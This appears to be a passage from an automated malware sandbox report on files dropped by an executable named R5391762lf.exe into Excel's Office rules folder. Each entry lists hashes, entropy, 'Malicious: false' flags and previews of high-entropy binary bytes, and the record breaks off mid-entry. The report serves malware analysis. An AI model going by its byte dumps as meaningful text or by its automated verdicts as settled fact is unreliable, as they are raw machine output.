SHA-256:	563B64B0D9C279B6A48FD72D0CF53892674F83F193F53503A8FB88676C81D042
SHA-512:	4760D7E1CFF692E6092FAF6D5D9A9527C84AD3F9A20320DF014073FF03C55D905E00AB57037DB76A3E822779DE0C94B375CF20BB809D3436FBE6E819D3E21F6C
Malicious:	false
Preview:	<?xml.B.s.#W..w..G.?..E.l.........=...<......z......c<..i..S+.\..Z.g..F.I..!..........5#~....%C...5>....HC..#..b.....F.y......#Py3.U..4..e.T...9><\|=..Q....7.....xZ.IK+.e.@#.. ...CI.#H..[......e..>.e...g. .}...6..Gt....@.N..Y."l.\|....=..w......e.W..Om.g.7h. l...q&......D...v..o..B2..s.....e.R5.._....,...!...'....&%.....+.R....B".z.........@.c.+.m.}A......B.^".$R.M.}H.Y.i.A.....\|Xj2!I.68...];a..,p_...E....j.BW5..p#5.S<f.Gr.).ZL.r..k..]...!b..q1..KQ#../..:7M.p{.&.=.t..m....&-..A.U.=`.X?'..\.C........-...&:2.,R.k.?.`..7p.OM".....D..}....vT}..7I.=....p`..b..^5K\|..u\...4..e`..4hB..m$;...2...:.s$hZy.io3:...o\..~.=O....x.N_kZ..@..`6.0......iS.2.......n$.`(L..9.0..R7_.{...-WuZzr.T."i6&...AZ..G.g.mM.Dt.e.ZK./:f\...`..........b.^.*0.......D.U4...h.'\.....Z....iMjp.0."C;j."..........a....L;..a.k...x.}\....xg.9......B.o..:.b..Z......)..x/.8l.....Y....'g......~/.w....gb.0..rvm...7m.S(..g.....V....;.#.K........B...@.0L\U =;.mP....:uN.........1.I..nA.;.W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule240039v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.791182484543338
Encrypted:	false
SSDEEP:	24:OnTD3EKCLfb/b8eQDy/w/ELifg5oZkPySGQj6qjXq8uWbD:OvtwD/b8eQDYifSL/BjXFuED
MD5:	4901A237A13344C7DAC9173D706C2FF8
SHA1:	1B840A501F39643F58B7C0DA1B17BE7568F536AF
SHA-256:	72F556BC56E4BB9C7758E05BABD36A2ED2C7FC40C5F31B4C4A1B3428BD732CBB
SHA-512:	8306BEBA1FA6D0AD4F616954D8A7CE3E60E44218DADE181C73E4986FC042B546179B5E4B3AE24D86C0D24A6181CD028077BFD2550258C3819DFD60A99E7713F6
Malicious:	false
Preview:	<?xml.H.`..a\|m"..Kgy.!;5(p}.pK.H6.Woh.b.Ti........s.!m.S......>.^..L..nw.y...Vmm.3.Re.I.y....8...TF..xx..%...y.C...... e~..o...?..g....Y.\|(4..#T&.R...9;..Q.....]......t.b.(m......Q6..~.....fO..8.`f.^.l.&...2M.@..0.7...`[X.naZNGhKd...u.....'..@..iTS..T..B.k...,uV.\|b.y.zw..A....~P..............9l......1.c.lX..\LQ.iH..Z......}Q.%..D6...{.nX....E...{.......^.k..K...{.~.77(_....q5.^:.]h_.U... t...sq'.....s...}Q...N'....u.}w......:.&.i.6.O!........{m9.xUM..}.M.KK..].......}.s....X............$..tO.k&...K.)....~.Nx.............>...rM...F..=.....>...7.f.~.J.....8;..=....r......[..N..;?..bO..S..kQ.Q-.1T.....v....b.n.&....7.@..7..\.d......\|.8....e.dyz.K ...I.:R.v..f.F.O,../......e..v..1.....Q.LS.......+...\r..D(.9..W...qv^%.d.;i~].k.Y..f!.G..Ee}.S{.A)rX....K..#.......h..g#4+.....Ep......b....M.....r.{V...Vh.rnJ..`...U.z+..;...@.#7.T...-....9....X.z....(.....V......@?.`..W.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241000v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4446
Entropy (8bit):	7.948833836275664
Encrypted:	false
SSDEEP:	96:PN5it8joC7ZSI4mHzUGoBjbg8WCqo7Cx9gPO20wuaCNFB/oRFuQ:Pn2erZdHzU1bZWEU2ljuaC7doCQ
MD5:	A5004173D67301D1FC6B295EF0CFB4BC
SHA1:	9F76926505484135483187D23AC8686BCCB7FE03
SHA-256:	546DBC27D555DB948EA1CC7A7654642C30774DCA67AF7F019E85A6E1B545F1E5
SHA-512:	38F845235F8280A849F751B42F6BE7B5DE101311269D0E47427A3CEF89F809696B1799303A5BF2825F201CB1FEE5CC82E0CB63F680CCD5FBBEF78344203436C2
Malicious:	false
Preview:	<?xml..U%?g.Y..._...@....2y..L.e...9.c/X...>t.BdD..W.a/.~4.H...!Q......<.0.J...M.A.u4..L......+.....UxX..6.....B..@..@.1TJ..!...2...i).~~....y..es;...{..\.8..]F"7J+W.Z3q..}!....K..z....b5-.-..F..e.Z.d.g..Ed....@...(9...M.~.Z.s.R;6J...r..~`..F.AS......_..F..l\...~oUE.\v...;..K.n.@...ABC%.!.....$./....q.....P......b.h.7"eE.2}v...R...i.....{P&t)..i.. .q..8..f....c@.p..\|c.....Cy.b..v.qA........".GGt.GD...... W.7.Sv2$....X......%..,..v..%i.....#..3x.HJ....U..yo.>..@.dYQ..1..[.`H....'/.<. I.otE..P.i>....$.c.Xo......d.....!.;S.......;........G...Ks..C._....5..l..I.....E.,g.....w....p...%..JX....@=I..........4{cl.@....AI7.G...O.^.7.\|.s...".....\|.3Q..%;.........^.9vp...1o....Vv>..<......Ov.-drv..c..3.8w".<...`.....1....S[7./...JL.9.8....Q.L.!E..x'......bE.F....$2`.[E.mL68..D.........h.)....B.r.A.%e...\.{7...;:^H....."..K....J.<..P..dY.o..5..Rs?...z....a......^ .a......n.Y..n..uG.F..4_..yy..bt.D)..%....U.0..I.....z.X`....V....an.z,.>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241001v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2306
Entropy (8bit):	7.920242995143936
Encrypted:	false
SSDEEP:	48:pHwc7sLbJgvMpu99YOWc7eDE2SUDO0urmlNmThKIz5hvjAjXFuED:pRsfyvpUO5iNSjrmuFKIz5hvj2FuQ
MD5:	9029EE6C49FACED1E0B614D3DC634C88
SHA1:	66F88B509F5BC942486070D4FEC84912F03EBC41
SHA-256:	DF55838A8E26F9AE8232D8A6DDCC55F8AD5B247965D3D13812A211A13340D1EC
SHA-512:	31FF0352DE550A475599A0D7B584E540C63F33AF40FBE3D5D00052B62EE0D267F84B6E342005334FCEDBF3B1C314FD67C45A5C7910531D030E92124D77D4987F
Malicious:	false
Preview:	<?xml....<...9.....2.6g......X,!{.H..J.1.9(LSR.k...s)..}l,Wl.I.3~MX.=..........yt.:......[.(.iO'...q....@CH..#..!g............U.@..x......-....f]..fA...C#.p..J.0...<..Z&y6!.,.7..r.5.?An.'1..~/.%..........Yf`..d5..V..~8.N..v...C.....%....p.........l...Qt5...S#..\..m.Q.E....u..+..:.-..h..V..).......o35...[.{..K....u)..Q...X.U`U...C.qv...k.=.....~....~....uf..@.@p..^x..t...<.....4....%.,(.....z.9[.@o.&...\..q...."I....P9b#U.5..)....P.E........ .....&...........{..\|'s....../...t..a_...u......]R...........o...!Ox.....s.~..R....z..;Bi.'s...y..M.u \|...,(....F.b........UA.....G......>I..t..r.z.....y....."..D.wD.....x.y]..`....g.........s...*..?e)?...."........I.............lG..F-..$..15...L2....li..9.M....&MPR..&..@q..R.. ~.,.PB...&..A...F.S....\.^!.$KDj.j<..px.P.'.V..Fw.B8E........H+^._.N:.Wf...........`v..g...zR.'..8.].9..A..=..,s..^..+..~...e...!..Up.=.I>.{#".J....+D...B.......l..i]...g..,x....1"BS)..4..w.....\|..s.b....x....]Fp.... ).....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule241002v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2376
Entropy (8bit):	7.912239519097238
Encrypted:	false
SSDEEP:	48:R32MVfQAcqbtTLUQovHShUipiVfZenX5Jlss2D/lsR7sWjqZfJkbvfXFuED:R3rVf2ctTYVvHSeipZ5J36ZfJkbvfFuQ
MD5:	9BBFEA1238BD24A2F89D6135424255F6
SHA1:	92947D27F687BA2A5A385284F4CCCD047C0CAE86
SHA-256:	FF0776C12F3177A386F2DF5919F7622434352114C531B29C836ACE0BABA02E9E
SHA-512:	6BEBDBE4CE789525F57FB0C3935A8510947782B5FA28CBDACCA36FC9D24782584FC5E666BB428B1704AE90981296AB2C696D84A191E50265711B9AB85395EB50
Malicious:	false
Preview:	<?xml.1`.?..i........G.\|...rJ-Jgx.WW.........'`cJ2R.Y.5C./...Y.z......=#.)..?C#.v.d........DB...o3..C..c.a....t....H....t............./......u(e..9!.d..u`......5z..St.r\|.i...W.P`..u..K..!.R.%.?./j.........._~..6..o..D./.n.){..NB......\A.p"O..}@..E.#.......v.PO..1.`.\|B......}......l..........}.....o..C..w..5>.9.....Y.d-..Gs. .i..4..=5=....Ot. v.....?...&<.S..2.@2....ZT.S..'..J.5.i....>K.{. .{.6..ue..gvQ.d..^0..x..'..bSA..V.'......z..hR]....R....=...?b.!........R...Z..G9.8.. .K....$.)..O>Zz....K.x..?{....=u.....%X.=..%.=..i.HN...O...$.[%.V.[j......m.b..S...Z....Rba.>t._...X....?N.4.Pzl;..R.....2Dy./.\...x...}.\...p.....T......c........B...%p.'.A.."i...tz.U.\q.....r.p,C...;-..'..lx..Ap.GU<...<.....&c....O)...\|.vU$F.tJH.0I.Z..\|.E......B...........y5..a..oS.}.\.Ig...l...G...d._.(.Y.2.@..B..(j..'.,4..xo..)...%h>%V...#....-v...z@ocN`o}d=A]..h.d..O.....p%3.._.....W...f+...n..<{..]O.m....C.N,D.].i......V..1.../.5t.H..RV.....I.5........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270000v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1043
Entropy (8bit):	7.797113562672101
Encrypted:	false
SSDEEP:	24:uyXcHiGXO8C7HkLMOv1XtQMjgN6RK80oleXq8uWbD:PyOZ7EQWXDK6IsleXFuED
MD5:	6C0FCFCD6B4A80531BA122E71AD0CBC6
SHA1:	D2BFD86FDC98A7DBAA294172824ABEA6796F2345
SHA-256:	1ED3BD44E2B1FBED873FF413909CF7CB4BB04EF982E0AD29A96CBB6810E101BE
SHA-512:	830DAFEE2E477600E984680740D3D14D5D7C8865DE05E709C01C5DA80C27DBE8F42572E4843DA2E77E3F661642B4464FC02BA6B52B3552931A920C13900A156A
Malicious:	false
Preview:	<?xmlHIoL.p..V.f.(..B....c..j'./.q.lU.,.eW..3..6..".{.rh.$..v4.!...;.]e<....z.a..X.;D`y..$. zz.Tm..Q~..i..u.r.e`..Q...Y......;pl...l<.....Q.i.3..Oz.=.`<..4..D....S.....}.ij-..........Bo .A....Di.^.$.l.C......H.&=u)D.X.i.c.v.t..8,s.P........f..r....<........j.f!)...{+......z.^..(#......3.X..Q..'.{.q"..mY6.U...}/S..>.N...wI...Z.<..kR.OO.V.....\.....^Z.i..h...3..c...$.txG1O._.1......a.......U.ror"..<R...L6w.C..]z........j....d.x....l>8...T.._.?`...u...MC..:..k.....!J....(5......Pi..>.........r.J..q..[...E....kL.-b..0..hgi.3...e....1....a..J....T..rJ>....&.......x]RT..F....8...K.NXE8.4......:...K5..5p.....s1)q..K,\.Z..:....A.=......a!.8w.8..M...WR& Q.......&..}/oM.82_Q.w.....4.>J.sW$ ._.m.}gt9.s..U.\.4:....~.....%.A...T.g...x...(....nzDz`k..}."....Y<..3.$.M.d...K....T..T..o.e)..\..[.o...v~i....T.ZV..;....8....=...'....[.b.d...B..h.XW?.V.Z*1k..>......b....y......H...3......-..W..3z.gTS...q...\.....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270001v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.773041020218672
Encrypted:	false
SSDEEP:	24:fwdVbaGWE7Ad3aSXbfydTCspHDrnV84Qda4//Xq8uWbD:fwLz9yKSyTpRDrnVq//XFuED
MD5:	29CE5BAFE1CBB25D1253A271787066E9
SHA1:	3E837779860FDDC5BB6BE174A4E0E0DF0DCAA4CE
SHA-256:	4CC6746B22A2FF85F2A2BCDA201AACCC4830EB3239A352C24D69D55C3CC80E1D
SHA-512:	96294E2216DABEA575D96C8D08ABDC38DD57FB76116575DA9A29BC2E6C1FFBD0422C3539812103566A0B9873F6C1A8C1AE093441B889E436FC3AAD908A5612FD
Malicious:	false
Preview:	<?xmlf....8.O...7.......RP.eKM.d...=Z...>.....%.jP~..R.vs....g.jf..7.[Z...:....x]3P.R.$....$oOSx....`@....X.g.9.v.....)q~..)"...U....bP..H.o..jz.......7TV.....}..!X.jA...8...w...gg.p0t.&..`.&.6.Q7..=Y..R......V$.(..'t.WNh.e...4$..S.....L.......-..L4\|..k....a..^..G`o.z.<..K..I]...v.<..e.Vq.Q......J...B.......iw.g.mHh'.. ..K...fZ.A.....+6\.~h....:pM+..f.A.%....._.T..p.G[.H~..X..a)I...(.vy....}[.2#...(..b...^....l...\|.......[6^.....[.......$o....3.{....R'..O...M..^...O........uJ.^.Z...j)....b..t.q.....={.Q+; g....4.3}r..mC...]..k..../..x...;Q......W..j.9St....k..d^.:.J..+.t..3U.....c...U.w9..cj...d.O}x##3p.cO.3..?....@v.c....'_2..~M.r.=_)~D. .S...._.j4........TZ..k.Z.bn..v...3K[..'.....xcxi.Na.l...Hf .\|H.P.<...o.X..H...j.d8..(B. ..x.l...E8..X.&..-h\|...K..M.$x...../.}.....y?J.9]..>1.C.........a1..S....Y.oZ9.../_...s.D+.I.4F.}.6.....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270002v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.824283333127483
Encrypted:	false
SSDEEP:	24:ZCvTjWWd70/w0Kz2WMN2L01vgDndo1aFrLjb4OM5NLRvZXq8uWbD:ZCvfW+70/jKzgNEy4DaaF3NmLfXFuED
MD5:	E694BAFCCBAA4D6329F134E46700B0BF
SHA1:	43C23E5C72512D8889ED47F4B34C248819732403
SHA-256:	3EA0618D507734C84711DCEA385CC867199D3329AB14F33D8C42A838A6279A52
SHA-512:	A67648C256294545C4AE67EBAA210F793001DD3B9FF57785ABDB8BA8835686E9F70C60A2D7EAEB985B9E9958C8810AD3F1E8A5922DF77D9B3415413E2534EDD7
Malicious:	false
Preview:	<?xml.x..N#RG1..f..t....>V........H.'.P....w.W.\N. Q.;j6P..y....`..;....`B.-w0~.Bb..)S.3Iw.....+....iU.....V_(...aK\|....'.@..S7.3.-..H;l.2Z.^.BE....Q........0..R..^9.+...2.R....c<...8.r..g.Q]o.3...CN........T.)...+a...s...lb...9..9.z1.L..n.U...?.["..R.{..+....R.\|3.#@.4..HN.c.terw..z.m.v-.P..X.}..N.'.~^.R.P..9b.u....j<+.....].{...@... .46..X.Q..~Ky..w..v.,..`'..>.i..9..f..h...../V....%3..1?.v..b5:....8..x...{.v:D(c.......jS....(e..T[.....#... ......9.EEK;..H...G...2].;W./..B.^}y..!.....5....i...'.M'A..g.JT..0..s..qs......e....].__ijloX....e~\|......(7.....p..og......G..:L}.V.e$.#...0n ...j.....`..d$..:v.3.M..S.......d(0.Dl.UC.;_..u.(?...9<...(l.&[.E.H..A`.&....mk..G.T...NH.e(...X..`:. l......S.a...j..q..D\|..YT...O.=.6...!.$.<......7.UP........-2.].Y........0>M\|...X.Z....Oj^.c?.. .....L..0T....w0.S/....Kv.m.XUx.0<............y....l)/}..&.zi.........Ds..r......P...2C.c.#-...Y!E.......'..$+.f.....D...K.5..2.....3...C.*..@....&.x.?........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270003v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1662
Entropy (8bit):	7.887880040023158
Encrypted:	false
SSDEEP:	48:DSceMFRCMMUjGF0KIfWrsINP2/sgjJZp1Giy+kKXFuED:WcBHj+0KIWrsIN2DjJC+NFuQ
MD5:	A3407CBEDE9026E20CF31B95DCAC1821
SHA1:	7631304CCD5402F02CF3734AD407053817723579
SHA-256:	4E363F11EE0499230F8D28CA484818B1585A7CDA23906EDE632D4CBA0D98E670
SHA-512:	0FE28B3DE7FA1740DBE5D8FA7E8E8003BD0A29659D2ADD1C51A3FB81ADE298FAF272F1862CF2BF6C6C237F7E8E4131E69B9420EAD8CCECCC51CACE30C0B57FE3
Malicious:	false
Preview:	<?xml..L.....\.....6._.cG.......A\....{.{..}..;].^..b...C\|..^n.&_.A.WV'?.J"...72....).Z.j}Z].....=...L.N.gL7W2....-.V.K.d..F...q..u!_....b.I#...q.Mp.fN,.V..M....5..O.%Cg...}...qT...W.I...".H@.Un~......Yy(i...$...yH.tI.%.....W..SF....j.Bl....5.].S\.............q..a..J....`...fI...?Cb.:..6.f^..]....x2.0.l1.4....0(.{[....RP^%.ED...v..h[vp......#......`.......0..@...#z^........%.O.h<.Y........K...$.k.:.....M.J,.[...O.......3.I.".....b..}.e`.sgD.yEV.NHozX..93..H.k..&...\...\..B..9..K.W,...].....@`nY.qN...s...TC..J.....z..aV.t{.>.?.....M.&...}.(H.w..9a..fF.c..fF>z./.CW...wq.%2.4.d...F....&....\|}.w........e).Q26W=2.......~.v.NX.......n....j..:.X...w.C...[t....Q\|........D.S..RHv. .9p.j.[..s5l.........x.yA.R.&_..2`&.;..*.lx...T.l.'..P...408..^....:....6..q.:.V.).#....Z.+..V.\|.TK./.[.n......N...6K.Y.&.v...K.O...a.B...w.@&..%Vz...um[.].%.2......Ui.D^.p.E.....8....mf..G....e.`.:....P6.NH...>ts.Q&.(.z.V.5++..........N.y%.2.6.f.............a..O.j.]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270004v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	831
Entropy (8bit):	7.719967618804071
Encrypted:	false
SSDEEP:	24:d3ikqsGecYPMPa/exENay1V7vQBbFKd1lKdZ5uXq8uWbD:zXeYPtxlrqb434Z5uXFuED
MD5:	DEA59716EB2F8FEF63E342CCE786E170
SHA1:	3D5DEF8089CBE4F6C8D255AB6B006E0EC6127A69
SHA-256:	91983907230BB781F74DAED550A222F296B6E64DB83BF9BFD6E4085FB9341344
SHA-512:	27F8E17EEC49C7A542434CA08A687A3A2CEECE71BE5667A27FA191DD0B46A04990ADAD8513330E809792A99498AC5391F9054B50A264A5A2F9D37D77C7F9739F
Malicious:	false
Preview:	<?xml7....O......\|....#....W5@....x@..o.2c+.[I.,Ef...o..q.G..Y.4. M..n9....Ad..!!.v........&.7...3......P=8.XE..Q>).i.{c..g...!.q...3....m..T..2i1...f....d..-.....& ..d.tI#..{K. h.t....Dk...'.2..D...#....O+Fc....~...u_D....!.-._%.7.v.)......P.....&....i..!.p..].Mo...n.y.#...D..-...D}.?..@.%..D...O.Q..e...1b./....J.x.N..=c.@&.U mf......1b....O'.O.4.x.z&.g.b.....SI.....p..4s...V..n..lqj..m...a...@M>..X.%_Q..G..3...tOB..k%,.IX..F.Q.FJG..i(>..#}..Q.....]?T..RY.n>...>^....C.\|V.c..jqS..M..^...5.\...'WLg]..yU./...r.sJ...p.x....NmP`z...&...c............sU..m.S..>.......4.q6M.A..UT.....}..0E-J.P.k....74.%....A.R/.w.....H....{..(..yn\|....}=._.......G..a..K...dxi.x.*h9V..t......R.!..;....mI.P....V>~.3.C.../i..Q.j....8R...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270010v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1612
Entropy (8bit):	7.869725639256898
Encrypted:	false
SSDEEP:	48:x21C2lygff0mf5VZ3QSDCcToS3XQO3I1h77jXFuED:x21Cuf0mRVZ3QSecUS3XQOYvTFuQ
MD5:	C628014841F293B9DC9D942ECA144DDD
SHA1:	CAA31890968A658E8FF3D1D94591127116FEA457
SHA-256:	EF6D132CAA848D4DAAD1440B7D0D6F0B14F2BD06A3E8D81373251BE796354A9E
SHA-512:	84867BDA14284FC0AC02FF01940BEAE25EBD790F44531934E280D17DC8F1355AE411FC21DF541E4DD08D554ED8656489A0B593B0B8D2D133D939F05986D9AFCF
Malicious:	false
Preview:	<?xml.H....&.../.pk...z.Z..=vTXt.x?7/c.......3]...9.0`.Ae.8..,...;....aL.N...f...<........\&3....dV.C.?.L._.&..1..Ty.p....;I...<.=c.&.5x..;.(;.Q.}.idA@..!A...,.6P...... ...V.0......'$PVlv.......At...k.D..N..N....n...X....6&..f#.....`..Y..9..Q/....r..},.$3.l@..}-..u.:]:%....m'"R.;g.w...;..2.G<y.Q.,.c.....[.Q.z..0.....Fb^+..$..r...D?..6)D..U.C>..?.V.v........(....tR.....X..:......Ae.B..,.Vu..eg..h.\|....X.R.+Pd.f..hA..,W%VY)..!=...8~KH..P.O......#....u.4..a..T..E.Y\|..Jr.]....U..0.1+EJ.".,.`?......]...4..p...@(.&.CQHDZia....r. ..._PQ......b..^l.\....1H+...I....p4..N.w...#..R.]. Z:...(...3.&..18....V.b.U.0..9R.r.s..I.bp.dTu..9..q....w.B.#5..[.B..\.U..}.w.(..X0....]4....%7E'FA.........I.,.^mg.g.._'...\|K.CJ...\|.....`x.r..v...@.^...:U/....E?.g[.q<..&...C&.l...T0.+[.4..u.z....-.8}....@(Q....Y.../7]G\+............E.CI.....z..j.......uSI.iZN.s......gq.........+...poB!]1_...H].Xg?.h8.O...../..6h.....x..{[+...L3.$)..q...v.L...]...B.n...)Z5.....N...L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270011v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.70600202022993
Encrypted:	false
SSDEEP:	12:Da1p/zFwgJ0rtzbDMI/h49fW0YGQRUH3lyRg/9ADp3TU4DfHAbA5riweDW19pZXp:D2/xwgJyfFsWNEZaDpLDfWAAweG9rXq+
MD5:	39DB665DA67E3ACC394659E0FD8D19D3
SHA1:	273B903107BB645CC2979FDE4EBE693C2ABAE942
SHA-256:	4EBDDDAEDFC4AC39593695ED9B2B4DC4E1DC6AC58686EB5C90D09080B1316E19
SHA-512:	17E680CCCB2ADF874F541C5033B85623F585E061F1DCD718BCA872187DB8E81FEAA1FB414C91159FD985325BA6F88BF5DFF96DA3ADA7E3F410AD32413CAB1774
Malicious:	false
Preview:	<?xml....a.0..5=p..L..,Ee8\d..Z.tR...q.....?c`.q.N.z#BHV..;....0.%aA`....&..N...^.......#...J.L.....(3.G.~..3...#.x.....Er7.W"......U...pV...4w%)\.1..`E..%L..I...~.,.....I.._.>..+....(..:N..2..A>..=.[b.x...`.&.+!w..9Z.....p..........W..Uk............sRm..>4X~.O\|^.Bsy.f..%..d....10g..?...9...V.\..x......@kd ..0...w.w.u....j-."j.........D........?v.-&...HY.(... .C..k'.:H..).........K.........,'...&.Z.fX.<.u.....sv..i....K.b%DL.....r.}.A...(.w..._.o.r7...wj..%..cH.C...Rw.4.r..=i.X.)F.mr.m.@pA!.(H........'.+tu....l....../K?......U2...a...D.x........&d.N.F....."..,.~..H..Q;kgD.Hg.v.(.-..K.@,...$..I/>L..\|}Fz.."...)..J.+~doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270012v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.691276029365876
Encrypted:	false
SSDEEP:	12:wEq0WoQh/5C5ESuUgcJjFUAbU8ztkXsw1zafMu3/DlNdHJc8XpkXvQJi0JGcN8I0:wb0WB3C5zbR9r95MVxa0u3/fdHD588LC
MD5:	6BDD523718528B906B5B411CB3E776DF
SHA1:	A852F91CB89C43113C6990247C2C6A6F4825C1B6
SHA-256:	B99C131C4017FF87358254F6440E7BA2E69AB6B20E6B4D697D63AA525BB2D3CF
SHA-512:	6A1319D4517B851B6DC984E2F663B975D48A0CAC3070DA8BF8135CB83A9DEBC3D578494666E682B844165C0A886A7C6AE46937D80759E122DA13E36B46B6A8F0
Malicious:	false
Preview:	<?xml.(X..ow....&x.....d 0N...?.....pl..].[.....L.._c/.`.90.#...%k8.f..&.4.,...Jxj.,.3...E_w..b`{`.....=....m"[..Z&>.5.Ol..t.U.s..L..3L.+.C.....`i.k,.....!,\|r6R@.....'...[.4.{...>..j&..kV..1......+.M..\|...4...).....?.c.......6.3.+.mj..rrS..0>.A4;..........^......g..=$..p.`.+.....V:.?ug......u.3m..%....O..Rj.....zK.W..J.kH%..?....{I\|!......1.....-.z..fi.<6.`.M`%+5.....n^~...v&......UE.y..^h`.2.......^.....`Q....s.Ew.`....:.......>7....?q.....M..zp.......&-.dv3....fS..).....H...).YA.....8I.4.}...#^ZXF.5..'....Y.I..Ky.v.....!.{..m5..........e.o}n..".N...:.NR,e.n5W...3F.'...n.j*Q...Sy._..T+...:....Md9=s.......c.?o.....".8.~...;.hdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270013v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.689266783098994
Encrypted:	false
SSDEEP:	12:Jw5WUyRXtcK0O3gOKYz7HWMaG/6NCoKFd8VqwcDSO8yqmhrPCIJWw1RMXqOTuWcq:JqYXtnb3XJvHbaGSNz3VQ2jmhrZWw1u5
MD5:	C6CC95057BB07D9A5AFC003B6E50255B
SHA1:	D8B60B7F77FACAAD9B95283BB6FDD741EB347DC7
SHA-256:	E42979EEF0F258B4C5FE0C16826C3ED512ADF09EDC67B6E7C47E38EC76EEA90F
SHA-512:	DCE8F0538A40D8A06ABAD877F48619C7FADFF53E0CEBB4F5CC6242DB1AA8597370C36F52E7112E8BF05E141477215A5953F1B588C5CDBF84CBDD64A2B00E8C7D
Malicious:	false
Preview:	<?xml..,.aH.R=.?D...3..h.z1.'..0....P.....\|.....\|.........."...r..BA.&...4..dEJlky...f<....,....m.j.:.. .n..GC......\|Y.6....^.{..PV.}.H....1Nt..r...1r.....D.V...^)..M.A..T....Xv.nTE...(...].gXW..g..o....I..T.$..\..R.....Et.(..,F.L...P..>.i+O.d.v%.y)A...F.v.]..o..j#....O..."../+y..4....:'.....hXk..E.V4t.HO........%....h.fX.~....a...]...:.+K...g~.$..Yb.O..x^.PK..G..1.F K.a~`..$..}...J}r.{.:d\.N.....&......;^.....\|................r....i.u..awvu.m.f...Mj.E.+%..-.".......-.U..W.hv.`...H:....w)..N............\6......_bf.....h?/<.1y....&.F..D.... ..,.......r.v..Ua.1....^Q....t;S..2/Q.3...i.E'8a;..{.....p.U;....I..I.y\|+...CT.,@{.i...An5.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270014v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.694481727663772
Encrypted:	false
SSDEEP:	12:QvtpmcfZd0z6VqUsRy8pxq2k7DtviA4lrXGMlZiFbWFqwu6QFr8GoaUfpjxb4zSC:QvrpfZd0z6wzVpADPpiAIrXGMrilCDx8
MD5:	647398BF595003632F6AF256A68994F1
SHA1:	4B5AA7D28738AB9EB49A8975692CFF3B0E95F582
SHA-256:	085301EF10DD51BDFFA81F5BF6DF418EDDEEE10F430B537D10EF486C59E7FC4E
SHA-512:	3C8662D2A68B51933FBBBC15F2C480663E44209E52AB2642BBE0857813926D8961EF350B1C42E6304E34BF86FB05D821BAA53AA46A49B37B91CAB1B677ADAC63
Malicious:	false
